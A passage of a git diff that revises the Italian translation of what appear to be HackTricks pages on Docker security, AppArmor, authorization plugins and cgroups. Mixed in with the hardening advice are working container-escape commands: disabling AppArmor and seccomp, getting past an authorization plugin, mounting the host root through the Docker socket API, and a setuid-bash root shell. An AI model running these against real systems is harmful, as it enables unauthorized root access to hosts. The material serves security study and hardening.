Register the service name to find out object */ +r = sd_bus_request_name(bus, "htb.oouch.Block", 0); +if (r < 0) { +fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); +goto finish; +} - /* Infinite loop to process the client requests */ - for (;;) { - /* Process requests */ - r = sd_bus_process(bus, NULL); - if (r < 0) { - fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); - goto finish; - } - if (r > 0) /* we processed a request, try to process another one, right-away */ - continue; +/* Infinite loop to process the client requests */ +for (;;) { +/* Process requests */ +r = sd_bus_process(bus, NULL); +if (r < 0) { +fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); +goto finish; +} +if (r > 0) /* we processed a request, try to process another one, right-away */ +continue; - /* Wait for the next request to process */ - r = sd_bus_wait(bus, (uint64_t) -1); - if (r < 0) { - fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); - goto finish; - } - } +/* Wait for the next request to process */ +r = sd_bus_wait(bus, (uint64_t) -1); +if (r < 0) { +fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); +goto finish; +} +} finish: - sd_bus_slot_unref(slot); - sd_bus_unref(bus); +sd_bus_slot_unref(slot); +sd_bus_unref(bus); - return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; +return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; } ``` - -## References +## Riferimenti - [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 85ed9ff89..58fe4e6cd 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -17,7 +17,7 @@ Il motore Docker, per impostazione predefinita, ascolta sul socket Unix a `unix: DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` -Tuttavia, esporre il daemon Docker su HTTP non è raccomandato a causa di preoccupazioni di sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la connessione: +Tuttavia, esporre il daemon Docker su HTTP non è consigliato a causa di preoccupazioni di sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la connessione: 1. Il client verifica l'identità del server. 2. Sia il client che il server si autenticano reciprocamente. @@ -74,15 +74,15 @@ La firma delle immagini Docker garantisce la sicurezza e l'integrità delle imma - **Docker Content Trust** utilizza il progetto Notary, basato su The Update Framework (TUF), per gestire la firma delle immagini. Per ulteriori informazioni, vedere [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io). - Per attivare la fiducia nei contenuti Docker, impostare `export DOCKER_CONTENT_TRUST=1`. Questa funzione è disattivata per impostazione predefinita nelle versioni di Docker 1.10 e successive. -- Con questa funzione attivata, possono essere scaricate solo immagini firmate. La prima spinta dell'immagine richiede l'impostazione delle frasi segrete per le chiavi root e di tagging, con Docker che supporta anche Yubikey per una maggiore sicurezza. Maggiori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). +- Con questa funzione attivata, possono essere scaricate solo immagini firmate. Il primo push dell'immagine richiede l'impostazione delle frasi segrete per le chiavi root e di tagging, con Docker che supporta anche Yubikey per una maggiore sicurezza. Maggiori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - Tentare di scaricare un'immagine non firmata con la fiducia nei contenuti attivata risulta in un errore "No trust data for latest". -- Per le spinte delle immagini dopo la prima, Docker richiede la frase segreta della chiave del repository per firmare l'immagine. +- Per i push delle immagini dopo il primo, Docker richiede la frase segreta della chiave del repository per firmare l'immagine. -Per eseguire il backup delle tue chiavi private, usa il comando: +Per eseguire il backup delle tue chiavi private, utilizza il comando: ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` -Quando si cambiano gli host Docker, è necessario spostare le chiavi root e repository per mantenere le operazioni. +Quando si cambia host Docker, è necessario spostare le chiavi root e repository per mantenere le operazioni. ## Caratteristiche di Sicurezza dei Container @@ -90,7 +90,7 @@ Quando si cambiano gli host Docker, è necessario spostare le chiavi root e repo Riepilogo delle Caratteristiche di Sicurezza dei Container -**Principali Caratteristiche di Isolamento dei Processi** +**Caratteristiche Principali di Isolamento dei Processi** Negli ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave: @@ -98,19 +98,7 @@ Negli ambienti containerizzati, isolare i progetti e i loro processi è fondamen - **Scopo**: Garantire l'isolamento delle risorse come processi, rete e filesystem. In particolare in Docker, i namespace mantengono i processi di un container separati dall'host e da altri container. - **Utilizzo di `unshare`**: Il comando `unshare` (o la syscall sottostante) è utilizzato per creare nuovi namespace, fornendo un ulteriore livello di isolamento. Tuttavia, mentre Kubernetes non blocca intrinsecamente questo, Docker lo fa. -- **Limitazione**: Creare nuovi namespace non consente a un processo di tornare ai namespace predefiniti dell'host. Per penetrare nei namespace dell'host, in genere è necessario avere accesso alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso. - -**Gruppi di Controllo (CGroups)** - -- **Funzione**: Utilizzati principalmente per allocare risorse tra i processi. -- **Aspetto di Sicurezza**: I CGroups stessi non offrono sicurezza di isolamento, tranne per la funzione `release_agent`, che, se configurata in modo errato, potrebbe essere sfruttata per accesso non autorizzato. - -**Riduzione delle Capacità** - -- **Importanza**: È una caratteristica di sicurezza cruciale per l'isolamento dei processi. -- **Funzionalità**: Limita le azioni che un processo root può eseguire riducendo certe capacità. Anche se un processo viene eseguito con privilegi di root, la mancanza delle capacità necessarie impedisce l'esecuzione di azioni privilegiate, poiché le syscall falliranno a causa di permessi insufficienti. - -Queste sono le **capacità rimanenti** dopo che il processo ha ridotto le altre: +- **Limitazione**: Creare nuovi namespace non consente a un processo di tornare ai namespace predefiniti dell'host. Per penetrare nei namespace dell'host ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` @@ -184,7 +172,7 @@ seccomp.md ### AppArmor in Docker -**AppArmor** è un miglioramento del kernel per confinare **i container** a un **insieme limitato di risorse** con **profili per programma**.: +**AppArmor** è un miglioramento del kernel per confinare **i container** a un **insieme limitato** di **risorse** con **profili per programma**.: {{#ref}} apparmor.md @@ -278,7 +266,7 @@ Per ulteriori opzioni **`--security-opt`** controlla: [https://docs.docker.com/e **I volumi Docker** sono un'alternativa più sicura, raccomandata per accedere a informazioni sensibili. Possono essere utilizzati come un filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e quelli con accesso `exec` al container potrebbero comunque accedere ai segreti. -**I segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di build dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per segreti a tempo di build, migliorando la velocità di build e fornendo funzionalità aggiuntive. +**I segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di costruzione dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per segreti a tempo di costruzione, migliorando la velocità di costruzione e fornendo funzionalità aggiuntive. Per sfruttare BuildKit, può essere attivato in tre modi: @@ -286,7 +274,7 @@ Per sfruttare BuildKit, può essere attivato in tre modi: 2. Prefissando i comandi: `DOCKER_BUILDKIT=1 docker build .` 3. Abilitandolo per impostazione predefinita nella configurazione di Docker: `{ "features": { "buildkit": true } }`, seguito da un riavvio di Docker. -BuildKit consente l'uso di segreti a tempo di build con l'opzione `--secret`, assicurando che questi segreti non siano inclusi nella cache di build dell'immagine o nell'immagine finale, utilizzando un comando come: +BuildKit consente l'uso di segreti a tempo di costruzione con l'opzione `--secret`, assicurando che questi segreti non siano inclusi nella cache di costruzione dell'immagine o nell'immagine finale, utilizzando un comando come: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` @@ -321,15 +309,15 @@ Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono esser ### Suggerimenti Riassuntivi -- **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Il socket docker consente di avviare container, quindi è un modo semplice per prendere il controllo completo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`. -- **Non eseguire come root all'interno del container. Utilizzare un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**spazi dei nomi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** L'utente root nel container è lo stesso dell'host a meno che non venga rimappato con gli spazi dei nomi utente. È solo leggermente limitato da, principalmente, spazi dei nomi Linux, capacità e cgroups. -- [**Elimina tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilita solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di capacità e aggiungerle aumenta l'ambito di un potenziale attacco. -- [**Utilizza l'opzione di sicurezza “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di acquisire più privilegi, ad esempio tramite binari suid. -- [**Limita le risorse disponibili per il container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service. -- **Regola** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** profili per limitare le azioni e le syscalls disponibili per il container al minimo necessario. -- **Utilizza** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedi firme** o costruisci le tue basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Inoltre, conserva le chiavi root e le frasi di accesso in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP. -- **Ricostruisci regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini.** -- Gestisci i tuoi **segreti con saggezza** in modo che sia difficile per l'attaccante accedervi. +- **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Lo socket Docker consente di avviare container, quindi è un modo semplice per prendere il controllo completo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`. +- **Non eseguire come root all'interno del container. Utilizzare un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**spazi dei nomi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso che sull'host a meno che non venga rimappato con gli spazi dei nomi utente. È solo leggermente limitato da, principalmente, spazi dei nomi Linux, capacità e cgroups. +- [**Eliminare tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilitare solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di capacità e aggiungerle aumenta l'ambito di un potenziale attacco. +- [**Utilizzare l'opzione di sicurezza “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di acquisire più privilegi, ad esempio tramite binari suid. +- [**Limitare le risorse disponibili per il container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service. +- **Regolare i profili** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** per limitare le azioni e le syscalls disponibili per il container al minimo necessario. +- **Utilizzare** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedere firme** o costruire le proprie basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Inoltre, conservare le chiavi root e le frasi di accesso in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP. +- **Ricostruire regolarmente** le proprie immagini per **applicare patch di sicurezza all'host e alle immagini.** +- Gestire i propri **segreti con saggezza** in modo che sia difficile per l'attaccante accedervi. - Se **esponi il demone docker utilizza HTTPS** con autenticazione client e server. - Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente file compressi e può copiare file da URL. COPY non ha queste capacità. Ogni volta che è possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi tramite URL remoti e file Zip. - Avere **container separati per ogni micro-servizio** @@ -346,7 +334,7 @@ docker-breakout-privilege-escalation/ ## Bypass del Plugin di Autenticazione Docker -Se hai accesso al socket docker o hai accesso a un utente nel **gruppo docker ma le tue azioni sono limitate da un plugin di autenticazione docker**, controlla se puoi **bypassarlo:** +Se hai accesso allo socket docker o hai accesso a un utente nel **gruppo docker ma le tue azioni sono limitate da un plugin di autenticazione docker**, controlla se puoi **bypassarlo:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -354,7 +342,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## Hardening Docker -- Lo strumento [**docker-bench-security**](https://github.com/docker/docker-bench-security) è uno script che controlla dozzine di best practices comuni per il deployment di container Docker in produzione. I test sono tutti automatizzati e si basano sul [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ +- Lo strumento [**docker-bench-security**](https://github.com/docker/docker-bench-security) è uno script che controlla dozzine di best practice comuni per il deployment di container Docker in produzione. I test sono tutti automatizzati e si basano sul [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ Devi eseguire lo strumento dall'host che esegue docker o da un container con privilegi sufficienti. Scopri **come eseguirlo nel README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). ## Riferimenti diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index bea22ec18..a6448314d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -4,16 +4,16 @@ ## Informazioni di base -AppArmor è un **miglioramento del kernel progettato per limitare le risorse disponibili ai programmi attraverso profili per programma**, implementando efficacemente il Controllo di Accesso Obbligatorio (MAC) legando gli attributi di controllo accesso direttamente ai programmi invece che agli utenti. Questo sistema opera **caricando profili nel kernel**, di solito durante l'avvio, e questi profili determinano quali risorse un programma può accedere, come connessioni di rete, accesso a socket raw e permessi di file. +AppArmor è un **miglioramento del kernel progettato per limitare le risorse disponibili ai programmi attraverso profili per programma**, implementando efficacemente il Controllo di Accesso Obbligatorio (MAC) legando gli attributi di controllo accesso direttamente ai programmi invece che agli utenti. Questo sistema opera **caricando profili nel kernel**, solitamente durante l'avvio, e questi profili determinano quali risorse un programma può accedere, come connessioni di rete, accesso a socket raw e permessi di file. Ci sono due modalità operative per i profili di AppArmor: -- **Modalità di applicazione**: Questa modalità applica attivamente le politiche definite all'interno del profilo, bloccando le azioni che violano queste politiche e registrando eventuali tentativi di violazione attraverso sistemi come syslog o auditd. -- **Modalità di segnalazione**: A differenza della modalità di applicazione, la modalità di segnalazione non blocca le azioni che vanno contro le politiche del profilo. Invece, registra questi tentativi come violazioni delle politiche senza applicare restrizioni. +- **Modalità di Enforcement**: Questa modalità applica attivamente le politiche definite all'interno del profilo, bloccando le azioni che violano queste politiche e registrando eventuali tentativi di violazione attraverso sistemi come syslog o auditd. +- **Modalità di Complain**: A differenza della modalità di enforcement, la modalità di complain non blocca le azioni che vanno contro le politiche del profilo. Invece, registra questi tentativi come violazioni delle politiche senza applicare restrizioni. ### Componenti di AppArmor -- **Modulo del kernel**: Responsabile dell'applicazione delle politiche. +- **Modulo del Kernel**: Responsabile dell'applicazione delle politiche. - **Politiche**: Specificano le regole e le restrizioni per il comportamento dei programmi e l'accesso alle risorse. - **Parser**: Carica le politiche nel kernel per l'applicazione o la segnalazione. - **Utilità**: Questi sono programmi in modalità utente che forniscono un'interfaccia per interagire e gestire AppArmor. @@ -21,9 +21,9 @@ Ci sono due modalità operative per i profili di AppArmor: ### Percorso dei profili I profili di AppArmor sono solitamente salvati in _**/etc/apparmor.d/**_\ -Con `sudo aa-status` sarai in grado di elencare i binari che sono limitati da qualche profilo. Se puoi cambiare il carattere "/" con un punto nel percorso di ciascun binario elencato, otterrai il nome del profilo di AppArmor all'interno della cartella menzionata. +Con `sudo aa-status` sarai in grado di elencare i binari che sono limitati da qualche profilo. Se puoi cambiare il carattere "/" con un punto nel percorso di ciascun binario elencato, otterrai il nome del profilo apparmor all'interno della cartella menzionata. -Ad esempio, un **profilo di apparmor** per _/usr/bin/man_ si troverà in _/etc/apparmor.d/usr.bin.man_ +Ad esempio, un **profilo apparmor** per _/usr/bin/man_ si troverà in _/etc/apparmor.d/usr.bin.man_ ### Comandi ```bash @@ -41,13 +41,13 @@ aa-mergeprof #used to merge the policies - Per indicare l'accesso che il binario avrà su **file** possono essere utilizzati i seguenti **controlli di accesso**: - **r** (lettura) - **w** (scrittura) -- **m** (mappatura della memoria come eseguibile) -- **k** (blocco del file) +- **m** (mappa di memoria come eseguibile) +- **k** (blocco file) - **l** (creazione di hard link) -- **ix** (eseguire un altro programma con la nuova politica ereditata) -- **Px** (eseguire sotto un altro profilo, dopo aver ripulito l'ambiente) -- **Cx** (eseguire sotto un profilo figlio, dopo aver ripulito l'ambiente) -- **Ux** (eseguire senza restrizioni, dopo aver ripulito l'ambiente) +- **ix** (per eseguire un altro programma con la nuova politica che eredita) +- **Px** (eseguire sotto un altro profilo, dopo aver pulito l'ambiente) +- **Cx** (eseguire sotto un profilo figlio, dopo aver pulito l'ambiente) +- **Ux** (eseguire senza restrizioni, dopo aver pulito l'ambiente) - **Le variabili** possono essere definite nei profili e possono essere manipolate dall'esterno del profilo. Ad esempio: @{PROC} e @{HOME} (aggiungere #include \ al file del profilo) - **Le regole di negazione sono supportate per sovrascrivere le regole di autorizzazione**. @@ -103,7 +103,7 @@ sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` ### Modificare un profilo dai log -Il seguente strumento leggerà i log e chiederà all'utente se desidera consentire alcune delle azioni vietate rilevate: +Lo strumento seguente leggerà i log e chiederà all'utente se desidera consentire alcune delle azioni vietate rilevate: ```bash sudo aa-logprof ``` @@ -166,10 +166,10 @@ Per impostazione predefinita, il **profilo docker-default di Apparmor** è gener **Riepilogo del profilo docker-default**: - **Accesso** a tutta la **rete** -- **Nessuna capacità** è definita (Tuttavia, alcune capacità verranno incluse dalle regole di base, ad es. #include \) -- **Scrittura** su qualsiasi file di **/proc** è **non consentita** +- **Nessuna capacità** è definita (Tuttavia, alcune capacità deriveranno dall'inclusione di regole di base, ad es. #include \) +- **Scrivere** in qualsiasi file di **/proc** **non è consentito** - Altre **sottodirectory**/**file** di /**proc** e /**sys** hanno accesso in lettura/scrittura/blocco/link/esecuzione **negato** -- **Montaggio** è **non consentito** +- **Montaggio** **non è consentito** - **Ptrace** può essere eseguito solo su un processo che è confinato dallo **stesso profilo apparmor** Una volta che **esegui un container docker**, dovresti vedere il seguente output: @@ -187,16 +187,16 @@ Devi **disabilitare apparmor** per bypassare le sue restrizioni: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` -Nota che per impostazione predefinita **AppArmor** **vietera' al container di montare** cartelle dall'interno anche con la capacità SYS_ADMIN. +Nota che per impostazione predefinita **AppArmor** **vietera' anche al container di montare** cartelle dall'interno anche con la capacità SYS_ADMIN. Nota che puoi **aggiungere/rimuovere** **capacità** al container docker (questo sarà comunque limitato da metodi di protezione come **AppArmor** e **Seccomp**): -- `--cap-add=SYS_ADMIN` dà la capacità `SYS_ADMIN` -- `--cap-add=ALL` dà tutte le capacità -- `--cap-drop=ALL --cap-add=SYS_PTRACE` rimuove tutte le capacità e dà solo `SYS_PTRACE` +- `--cap-add=SYS_ADMIN` aggiungi la capacità `SYS_ADMIN` +- `--cap-add=ALL` aggiungi tutte le capacità +- `--cap-drop=ALL --cap-add=SYS_PTRACE` rimuovi tutte le capacità e aggiungi solo `SYS_PTRACE` > [!NOTE] -> Di solito, quando **scopri** di avere una **capacità privilegiata** disponibile **all'interno** di un **container** **docker** **ma** che una parte dell'**exploit non funziona**, questo sarà perché **apparmor di docker lo sta impedendo**. +> Di solito, quando **scopri** di avere una **capacità privilegiata** disponibile **all'interno** di un **container** **docker** **ma** che una parte dell'**exploit non funziona**, questo sarà perché **apparmor di docker sta impedendo**. ### Esempio @@ -222,23 +222,23 @@ chmod: /etc/hostname: Permission denied ``` ### AppArmor Docker Bypass1 -Puoi scoprire quale **profilo apparmor sta eseguendo un container** usando: +Puoi scoprire quale **profilo apparmor sta eseguendo un container** utilizzando: ```bash docker inspect 9d622d73a614 | grep lowpriv "AppArmorProfile": "lowpriv", "apparmor=lowpriv" ``` -Poi, puoi eseguire la seguente riga per **trovare il profilo esatto in uso**: +Quindi, puoi eseguire la seguente riga per **trovare il profilo esatto in uso**: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` In un caso strano puoi **modificare il profilo docker di apparmor e ricaricarlo.** Potresti rimuovere le restrizioni e "bypassarle". -### AppArmor Docker Bypass2 +### Bypass2 di AppArmor Docker -**AppArmor è basato sui percorsi**, questo significa che anche se potrebbe essere **protetto** file all'interno di una directory come **`/proc`**, se puoi **configurare come il container verrà eseguito**, potresti **montare** la directory proc dell'host all'interno di **`/host/proc`** e non **sarà più protetta da AppArmor**. +**AppArmor è basato su percorsi**, questo significa che anche se potrebbe essere **protetto** file all'interno di una directory come **`/proc`**, se puoi **configurare come il container verrà eseguito**, potresti **montare** la directory proc dell'host all'interno di **`/host/proc`** e non **sarà più protetta da AppArmor**. -### AppArmor Shebang Bypass +### Bypass Shebang di AppArmor In [**questo bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) puoi vedere un esempio di come **anche se stai impedendo l'esecuzione di perl con determinate risorse**, se crei semplicemente uno script shell **specificando** nella prima riga **`#!/usr/bin/perl`** e **esegui il file direttamente**, sarai in grado di eseguire qualsiasi cosa tu voglia. E.g.: ```perl diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 1c6c35a8a..c4e7d8b25 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -10,11 +10,11 @@ I plugin di autorizzazione Docker sono **plugin esterni** che puoi utilizzare pe Quando viene effettuata una **richiesta HTTP** al **demone** Docker tramite la CLI o tramite l'API Engine, il **sottosistema di autenticazione** **trasmette** la richiesta ai **plugin di autenticazione** installati. La richiesta contiene l'utente (chiamante) e il contesto del comando. Il **plugin** è responsabile della decisione di **consentire** o **negare** la richiesta. -I diagrammi di sequenza qui sotto mostrano un flusso di autorizzazione di consentire e negare: +I diagrammi di sequenza qui sotto mostrano un flusso di autorizzazione di consenso e di negazione: -![Flusso di autorizzazione consentito](https://docs.docker.com/engine/extend/images/authz_allow.png) +![Flusso di autorizzazione consentita](https://docs.docker.com/engine/extend/images/authz_allow.png) -![Flusso di autorizzazione negato](https://docs.docker.com/engine/extend/images/authz_deny.png) +![Flusso di autorizzazione negata](https://docs.docker.com/engine/extend/images/authz_deny.png) Ogni richiesta inviata al plugin **include l'utente autenticato, le intestazioni HTTP e il corpo della richiesta/risposta**. Solo il **nome utente** e il **metodo di autenticazione** utilizzato vengono passati al plugin. È importante notare che **nessuna** credenziale o token dell'utente vengono passati. Infine, **non tutti i corpi di richiesta/risposta vengono inviati** al plugin di autorizzazione. Solo quelli in cui il `Content-Type` è `text/*` o `application/json` vengono inviati. @@ -36,7 +36,7 @@ Questo è un esempio che permetterà ad Alice e Bob di creare nuovi contenitori: Nella pagina [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) puoi trovare la relazione tra l'URL richiesto e l'azione. Nella pagina [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) puoi trovare la relazione tra il nome dell'azione e l'azione. -## Tutorial Plugin Semplice +## Tutorial sul Plugin Semplice Puoi trovare un **plugin facile da capire** con informazioni dettagliate su installazione e debug qui: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) @@ -56,15 +56,15 @@ Per eseguire questa enumerazione puoi **utilizzare lo strumento** [**https://git ```bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash ``` -### Eseguire un contenitore e poi ottenere una sessione privilegiata +### Eseguire un container e poi ottenere una sessione privilegiata -In questo caso, l'amministratore di sistema **ha vietato agli utenti di montare volumi e di eseguire contenitori con il flag `--privileged`** o di dare ulteriori capacità al contenitore: +In questo caso, l'amministratore di sistema **ha vietato agli utenti di montare volumi e di eseguire container con il flag `--privileged`** o di dare ulteriori capacità al container: ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` -Tuttavia, un utente può **creare una shell all'interno del container in esecuzione e darle i privilegi extra**: +Tuttavia, un utente può **creare una shell all'interno del contenitore in esecuzione e darle i privilegi extra**: ```bash docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de @@ -90,7 +90,7 @@ host> /tmp/bash -p #This will give you a shell as root ``` > [!NOTE] -> Nota che potresti non essere in grado di montare la cartella `/tmp`, ma puoi montare una **differente cartella scrivibile**. Puoi trovare directory scrivibili usando: `find / -writable -type d 2>/dev/null` +> Nota che potresti non essere in grado di montare la cartella `/tmp`, ma puoi montare una **cartella scrivibile diversa**. Puoi trovare directory scrivibili usando: `find / -writable -type d 2>/dev/null` > > **Nota che non tutte le directory in una macchina linux supportano il bit suid!** Per controllare quali directory supportano il bit suid esegui `mount | grep -v "nosuid"` Ad esempio, di solito `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` e `/var/lib/lxcfs` non supportano il bit suid. > @@ -118,11 +118,11 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` > [!WARNING] -> Nota come in questo esempio stiamo usando il **`Binds`** param come una chiave di livello root nel JSON ma nell'API appare sotto la chiave **`HostConfig`** +> Nota come in questo esempio stiamo usando il **`Binds`** param come chiave di livello root nel JSON ma nell'API appare sotto la chiave **`HostConfig`** ### Binds in HostConfig -Segui le stesse istruzioni come con **Binds in root** eseguendo questa **richiesta** all'API Docker: +Segui le stesse istruzioni come con **Binds in root** eseguendo questa **request** all'API Docker: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index 9b541d8dd..2d1223721 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -8,7 +8,7 @@ Ci sono **due versioni di cgroups**: versione 1 e versione 2. Entrambe possono essere utilizzate contemporaneamente su un sistema. La principale distinzione è che **cgroups versione 2** introduce una **struttura gerarchica, simile a un albero**, che consente una distribuzione delle risorse più sfumata e dettagliata tra i gruppi di processi. Inoltre, la versione 2 porta vari miglioramenti, tra cui: -Oltre alla nuova organizzazione gerarchica, cgroups versione 2 ha anche introdotto **diverse altre modifiche e miglioramenti**, come il supporto per **nuovi controller delle risorse**, un migliore supporto per le applicazioni legacy e prestazioni migliorate. +Oltre alla nuova organizzazione gerarchica, la cgroups versione 2 ha anche introdotto **diverse altre modifiche e miglioramenti**, come il supporto per **nuovi controller delle risorse**, un migliore supporto per le applicazioni legacy e prestazioni migliorate. In generale, cgroups **versione 2 offre più funzionalità e migliori prestazioni** rispetto alla versione 1, ma quest'ultima può ancora essere utilizzata in determinate situazioni in cui la compatibilità con sistemi più vecchi è una preoccupazione. @@ -57,7 +57,7 @@ I processi sono assegnati ai cgroups **scrivendo il loro ID di processo (PID) ne ```bash echo [pid] > cgroup.procs ``` -Allo stesso modo, **modificare gli attributi del cgroup, come impostare un limite di PID**, viene fatto scrivendo il valore desiderato nel file pertinente. Per impostare un massimo di 3.000 PID per un cgroup: +Allo stesso modo, **modificare gli attributi del cgroup, come impostare un limite di PID**, si fa scrivendo il valore desiderato nel file pertinente. Per impostare un massimo di 3.000 PID per un cgroup: ```bash echo 3000 > pids.max ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 8736c4e15..1e6167b5d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -50,7 +50,7 @@ Il daemon Docker potrebbe anche [ascoltare su una porta (di default 2375, 2376)] ## Abuso delle Capacità per l'Evasione -Dovresti controllare le capacità del container, se ha 